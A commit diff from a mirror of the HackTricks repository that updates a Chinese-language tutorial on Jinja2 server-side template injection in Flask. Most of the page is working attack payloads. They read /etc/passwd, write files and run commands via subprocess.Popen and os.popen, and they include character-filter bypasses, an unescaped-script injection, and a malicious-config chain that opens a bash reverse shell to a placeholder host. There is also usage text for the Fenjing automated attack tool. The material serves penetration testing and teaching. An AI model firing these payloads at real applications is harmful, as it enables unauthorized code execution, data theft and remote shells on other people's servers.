mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/jinja2-s
This commit is contained in:
parent
ae7b95a2d8
commit
d14cea9863
1 changed files with 51 additions and 54 deletions
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
|
@ -15,7 +15,6 @@
|
|||
</details>
|
||||
|
||||
## **实验**
|
||||
|
||||
```python
|
||||
from flask import Flask, request, render_template_string
|
||||
|
||||
|
@ -31,13 +30,9 @@ return "Hello, send someting inside the param 'c'!"
|
|||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
|
||||
## **其他**
|
||||
|
||||
### **调试语句**
|
||||
|
||||
如果启用了调试扩展,将会提供一个`debug`标签,用于转储当前上下文以及可用的过滤器和测试。这对于查看模板中可用的内容而无需设置调试器非常有用。
|
||||
|
||||
如果启用了调试扩展,将会有一个 `debug` 标签可用于转储当前上下文以及可用的过滤器和测试。这对于查看模板中可用的内容而无需设置调试器非常有用。
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -50,11 +45,9 @@ app.run()
|
|||
|
||||
</pre>
|
||||
```
|
||||
|
||||
### **转储所有配置变量**
|
||||
|
||||
源链接: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
|
||||
来源:[https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
```python
|
||||
{{ config }} #In these object you can find all the configured env variables
|
||||
|
||||
|
@ -68,16 +61,14 @@ app.run()
|
|||
|
||||
|
||||
```
|
||||
|
||||
## **Jinja注入**
|
||||
|
||||
首先,在Jinja注入中,您需要找到一种方法来**逃离沙盒**并恢复访问常规的Python执行流程。为此,您需要**滥用**来自**非沙盒环境**但在沙盒中可访问的**对象**。
|
||||
首先,在Jinja注入中,您需要找到一种方法来**逃离沙盒**并恢复访问常规的Python执行流程。为此,您需要**滥用**来自**非沙盒环境**但可以从沙盒访问的**对象**。
|
||||
|
||||
### 访问全局对象
|
||||
|
||||
例如,在代码`render_template("hello.html", username=username, email=email)`中,对象username和email**来自非沙盒的Python环境**,并将在**沙盒环境内**可访问。\
|
||||
此外,还有其他对象将**始终可以从沙盒环境中访问**,这些对象包括:
|
||||
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
@ -86,15 +77,13 @@ dict
|
|||
config
|
||||
request
|
||||
```
|
||||
### 恢复 \<class 'object'>
|
||||
|
||||
### 恢复\<class 'object'>
|
||||
然后,从这些对象中,我们需要到达类:**`<class 'object'>`**,以便尝试**恢复**已定义的**类**。这是因为从这个对象中,我们可以调用**`__subclasses__`**方法,并**访问来自非沙盒**python环境的所有类。
|
||||
|
||||
然后,从这些对象中,我们需要到达类:**`<class 'object'>`**,以便尝试**恢复**定义的**类**。这是因为从这个对象中,我们可以调用\*\*`__subclasses__`**方法并**访问来自非沙盒\*\*python环境的所有类。
|
||||
|
||||
为了访问那个**对象类**,您需要**访问一个类对象**,然后访问\*\*`__base__`**,**`__mro__()[-1]`**或**`mro()[-1]`**。然后,在到达这个**对象类**之后,我们**调用\*\* **`__subclasses__()`**。
|
||||
为了访问那个**对象类**,您需要**访问一个类对象**,然后访问**`__base__`**,**`__mro__()[-1]`**或`**`.`mro()[-1]`**。然后,在到达这个**对象类**之后,我们**调用** **`__subclasses__()`**。
|
||||
|
||||
请查看这些示例:
|
||||
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
|
@ -134,23 +123,19 @@ dict.__mro__[-1]
|
|||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### RCE 逃逸
|
||||
|
||||
### RCE Escaping
|
||||
**已经恢复** `<class 'object'>` 并调用 `__subclasses__`,现在我们可以使用这些类来读取和写入文件以及执行代码。
|
||||
|
||||
**已经恢复** `<class 'object'>` 并调用 `__subclasses__`,现在我们可以使用这些类来读取和写入文件并执行代码。
|
||||
|
||||
调用 `__subclasses__` 给了我们机会**访问数百个新函数**,我们将很高兴只是通过访问**文件类**来**读取/写入文件**或任何具有访问**允许执行命令**的类的类(如 `os`)。
|
||||
调用 `__subclasses__` 为我们提供了**访问数百个新函数**的机会,我们将很高兴地仅通过访问**文件类**来**读取/写入文件**或具有访问**允许执行命令**的类的类。 (如 `os`)。
|
||||
|
||||
**读取/写入远程文件**
|
||||
|
||||
```python
|
||||
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
|
||||
**远程代码执行(RCE)**
|
||||
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -173,20 +158,18 @@ dict.__mro__[-1]
|
|||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
|
||||
了解更多可用于逃逸的**更多类**,您可以**检查**:
|
||||
要了解可以用来逃逸的更多类,您可以查看:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 过滤绕过
|
||||
### 过滤器绕过
|
||||
|
||||
#### 常见绕过
|
||||
|
||||
这些绕过将允许我们**访问**对象的**属性**,而无需使用某些字符。\
|
||||
我们已经在先前的示例中看到了一些这些绕过的情况,但让我们在这里总结一下:
|
||||
#### 常见绕过方式
|
||||
|
||||
这些绕过方式将允许我们访问对象的属性,而无需使用某些字符。\
|
||||
我们已经在先前的示例中看到了一些这些绕过方式,但在这里进行总结:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
@ -214,7 +197,6 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
```
|
||||
|
||||
* [**点击此处查看更多访问全局对象的选项**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**点击此处查看更多访问对象类的选项**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**阅读此内容以在没有对象类的情况下获得RCE**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
|
@ -222,23 +204,18 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
**避免HTML编码**
|
||||
|
||||
默认情况下,Flask会对模板中的所有内容进行HTML编码,以确保安全性:
|
||||
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
|
||||
**`safe`** 过滤器允许我们将 JavaScript 和 HTML 注入到页面中,而**无需**对其进行**HTML 编码**,就像这样:
|
||||
|
||||
**`safe`** 过滤器允许我们将 JavaScript 和 HTML 注入到页面中,**而无需**对其进行 **HTML 编码**,就像这样:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
|
||||
**通过编写恶意配置文件实现远程代码执行(RCE)。**
|
||||
|
||||
**通过编写恶意配置文件实现远程代码执行。**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
@ -249,11 +226,9 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
# connect to evil host
|
||||
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
||||
```
|
||||
|
||||
## 没有几个字符
|
||||
|
||||
没有 **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
||||
|
||||
```python
|
||||
{% raw %}
|
||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||
|
@ -261,14 +236,12 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
```
|
||||
|
||||
## 无需使用 **\<class 'object'>** 的 Jinja 注入
|
||||
|
||||
从[**全局对象**](jinja2-ssti.md#accessing-global-objects)中有另一种方法可以实现 **RCE 而无需使用该类。**\
|
||||
如果你设法访问到这些全局对象中的任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里 **RCE** 就非常 **简单**。
|
||||
|
||||
你可以通过以下方式从对象 **`request`**、**`config`** 和任何其他你可以访问的有趣的 **全局对象** 中 **找到函数**:
|
||||
如果你设法访问这些全局对象中的任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里 **RCE** 就非常 **简单**。
|
||||
|
||||
你可以使用以下方法从对象 **`request`**、**`config`** 和任何其他有权访问的有趣 **全局对象** 中 **查找函数**:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -288,9 +261,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
# You can iterate through children objects to find more
|
||||
```
|
||||
|
||||
一旦找到了一些函数,您可以使用以下方法恢复内置函数:
|
||||
|
||||
一旦您找到了一些函数,您可以使用以下方法恢复内置函数:
|
||||
```python
|
||||
# Read file
|
||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
|
@ -311,24 +282,50 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
# All the bypasses seen in the previous sections are also valid
|
||||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于 CTF 的工具,但也可以用于在真实场景中暴力破解无效参数。该工具仅仅是向服务器发送单词和查询以检测过滤器,寻找绕过方式,并提供一个交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
Default port 11451
|
||||
|
||||
scan: scan the entire website
|
||||
Extract all forms from the website based on the form element and attack them
|
||||
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
||||
Example:python -m fenjing scan --url 'http://xxx/'
|
||||
|
||||
crack: Attack a specific form
|
||||
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
||||
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
||||
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
||||
|
||||
crack-path: attack a specific path
|
||||
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
||||
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
||||
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
||||
|
||||
crack-request: Read a request file for attack
|
||||
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
||||
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* 检查[此处的attr技巧以绕过被列入黑名单的字符](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3)。
|
||||
* 检查[此处的属性技巧以绕过被列入黑名单的字符](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3)。
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue